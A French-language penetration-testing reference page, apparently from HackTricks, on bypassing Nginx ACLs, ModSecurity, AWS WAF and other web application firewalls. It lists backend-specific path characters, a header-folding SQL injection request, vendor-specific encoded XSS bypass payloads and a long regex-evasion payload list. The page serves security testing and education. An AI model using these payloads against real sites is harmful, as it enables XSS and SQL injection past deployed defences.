15 KiB
Proxy / WAF Protections Bypass
{{#include ../banners/hacktricks-training.md}}
Contournement des règles ACL Nginx avec manipulation de chemin
Techniques de cette recherche.
Exemple de règle Nginx :
location = /admin {
deny all;
}
location = /admin/ {
deny all;
}
Pour éviter les contournements, Nginx effectue une normalisation des chemins avant de les vérifier. Cependant, si le serveur backend effectue une normalisation différente (en supprimant des caractères que Nginx ne supprime pas), il pourrait être possible de contourner cette défense.
NodeJS - Express
| Version Nginx | Caractères de contournement Node.js |
|---|---|
| 1.22.0 | \xA0 |
| 1.21.6 | \xA0 |
| 1.20.2 | \xA0, \x09, \x0C |
| 1.18.0 | \xA0, \x09, \x0C |
| 1.16.1 | \xA0, \x09, \x0C |
Flask
| Version Nginx | Caractères de contournement Flask |
|---|---|
| 1.22.0 | \x85, \xA0 |
| 1.21.6 | \x85, \xA0 |
| 1.20.2 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.18.0 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
| 1.16.1 | \x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B |
Spring Boot
| Version Nginx | Caractères de contournement Spring Boot |
|---|---|
| 1.22.0 | ; |
| 1.21.6 | ; |
| 1.20.2 | \x09, ; |
| 1.18.0 | \x09, ; |
| 1.16.1 | \x09, ; |
PHP-FPM
Configuration Nginx FPM :
location = /admin.php {
deny all;
}
location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}
Nginx est configuré pour bloquer l'accès à /admin.php, mais il est possible de contourner cela en accédant à /admin.php/index.php.
Comment prévenir
location ~* ^/admin {
deny all;
}
Contournement des règles Mod Security
Confusion de chemin
Dans cet article il est expliqué que ModSecurity v3 (jusqu'à 3.0.12), a mal implémenté la variable REQUEST_FILENAME qui était censée contenir le chemin accédé (jusqu'au début des paramètres). Cela est dû au fait qu'il effectuait un décodage d'URL pour obtenir le chemin.
Par conséquent, une requête comme http://example.com/foo%3f';alert(1);foo= dans mod security supposera que le chemin est juste /foo parce que %3f est transformé en ? terminant le chemin de l'URL, mais en réalité, le chemin que le serveur recevra sera /foo%3f';alert(1);foo=.
Les variables REQUEST_BASENAME et PATH_INFO ont également été affectées par ce bug.
Quelque chose de similaire s'est produit dans la version 2 de Mod Security qui a permis de contourner une protection empêchant l'utilisateur d'accéder à des fichiers avec des extensions spécifiques liées aux fichiers de sauvegarde (comme .bak) simplement en envoyant le point encodé en URL %2e, par exemple : https://example.com/backup%2ebak.
Contournement de l'AWS WAF ACL
En-tête malformé
Cette recherche mentionne qu'il était possible de contourner les règles AWS WAF appliquées sur les en-têtes HTTP en envoyant un en-tête "malformé" qui n'était pas correctement analysé par AWS mais l'était par le serveur backend.
Par exemple, en envoyant la requête suivante avec une injection SQL dans l'en-tête X-Query :
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n
Il était possible de contourner AWS WAF car il ne comprenait pas que la ligne suivante faisait partie de la valeur de l'en-tête tandis que le serveur NODEJS le faisait (cela a été corrigé).
Contournements génériques de WAF
Limites de taille de requête
Les WAF ont généralement une certaine limite de longueur des requêtes à vérifier et si une requête POST/PUT/PATCH dépasse cette limite, le WAF ne vérifiera pas la requête.
- Pour AWS WAF, vous pouvez vérifier la documentation:
| Taille maximale d'un corps de requête web pouvant être inspecté pour les protections Application Load Balancer et AWS AppSync | 8 Ko |
| Taille maximale d'un corps de requête web pouvant être inspecté pour les protections CloudFront, API Gateway, Amazon Cognito, App Runner et Verified Access** | 64 Ko |
- D'après la documentation Azure:
Les anciens pare-feu d'application web avec le Core Rule Set 3.1 (ou inférieur) permettent des messages plus grands que 128 Ko en désactivant l'inspection du corps de la requête, mais ces messages ne seront pas vérifiés pour des vulnérabilités. Pour les versions plus récentes (Core Rule Set 3.2 ou plus récentes), la même chose peut être faite en désactivant la limite maximale du corps de la requête. Lorsqu'une requête dépasse la limite de taille :
Si mode de prévention : Journalise et bloque la requête.
Si mode de détection : Inspecte jusqu'à la limite, ignore le reste et journalise si le Content-Length dépasse la limite.
- D'après Akamai:
Par défaut, le WAF inspecte seulement les premiers 8 Ko d'une requête. Il peut augmenter la limite jusqu'à 128 Ko en ajoutant des métadonnées avancées.
- D'après Cloudflare:
Jusqu'à 128 Ko.
Obfuscation
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>
# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;
Compatibilité Unicode
Selon l'implémentation de la normalisation Unicode (plus d'infos ici), les caractères qui partagent la compatibilité Unicode peuvent être capables de contourner le WAF et de s'exécuter comme le payload prévu. Les caractères compatibles peuvent être trouvés ici.
Exemple
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
Contournement des WAF contextuels avec des encodages
Comme mentionné dans cet article de blog, afin de contourner les WAF capables de maintenir un contexte de l'entrée utilisateur, nous pourrions abuser des techniques WAF pour normaliser réellement l'entrée des utilisateurs.
Par exemple, dans le post, il est mentionné que Akamai a décodé une entrée utilisateur 10 fois. Par conséquent, quelque chose comme <input/%2525252525252525253e/onfocus sera vu par Akamai comme <input/>/onfocus ce qui pourrait penser que c'est ok car la balise est fermée. Cependant, tant que l'application ne décode pas l'entrée 10 fois, la victime verra quelque chose comme <input/%25252525252525253e/onfocus qui est toujours valide pour une attaque XSS.
Par conséquent, cela permet de cacher des charges utiles dans des composants encodés que le WAF va décoder et interpréter tandis que la victime ne le fera pas.
De plus, cela peut être fait non seulement avec des charges utiles encodées en URL mais aussi avec d'autres encodages tels que unicode, hex, octal...
Dans le post, les contournements finaux suivants sont suggérés :
- Akamai:
akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)> - Imperva:
imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999"> - AWS/Cloudfront:
docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)> - Cloudflare:
cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">
Il est également mentionné qu'en fonction de comment certains WAF comprennent le contexte de l'entrée utilisateur, il pourrait être possible d'en abuser. L'exemple proposé dans le blog est qu'Akamai permettait de mettre n'importe quoi entre /* et */ (potentiellement parce que cela est couramment utilisé comme commentaires). Par conséquent, une injection SQL telle que /*'or sleep(5)-- -*/ ne sera pas détectée et sera valide car /* est la chaîne de départ de l'injection et */ est commenté.
Ces types de problèmes de contexte peuvent également être utilisés pour abuser d'autres vulnérabilités que celle attendue d'être exploitée par le WAF (par exemple, cela pourrait également être utilisé pour exploiter un XSS).
H2C Smuggling
{{#ref}} h2c-smuggling.md {{#endref}}
Rotation IP
- https://github.com/ustayready/fireprox: Générer une URL de passerelle API à utiliser avec ffuf
- https://github.com/rootcathacking/catspin: Similaire à fireprox
- https://github.com/PortSwigger/ip-rotate: Plugin Burp Suite qui utilise des IP de passerelle API
- https://github.com/fyoorer/ShadowClone: Un nombre déterminé dynamiquement d'instances de conteneurs est activé en fonction de la taille du fichier d'entrée et du facteur de division, avec l'entrée divisée en morceaux pour une exécution parallèle, comme 100 instances traitant 100 morceaux d'un fichier d'entrée de 10 000 lignes avec un facteur de division de 100 lignes.
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
Contournements Regex
Différentes techniques peuvent être utilisées pour contourner les filtres regex sur les pare-feu. Les exemples incluent le changement de casse, l'ajout de sauts de ligne et l'encodage des charges utiles. Des ressources pour les divers contournements peuvent être trouvées sur PayloadsAllTheThings et OWASP. Les exemples ci-dessous ont été extraits de cet article.
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
Outils
- nowafpls: Plugin Burp pour ajouter des données inutiles aux requêtes afin de contourner les WAF par la longueur
Références
- https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies
- https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/
- https://www.youtube.com/watch?v=0OMmWtU2Y_g
- https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization
{{#include ../banners/hacktricks-training.md}}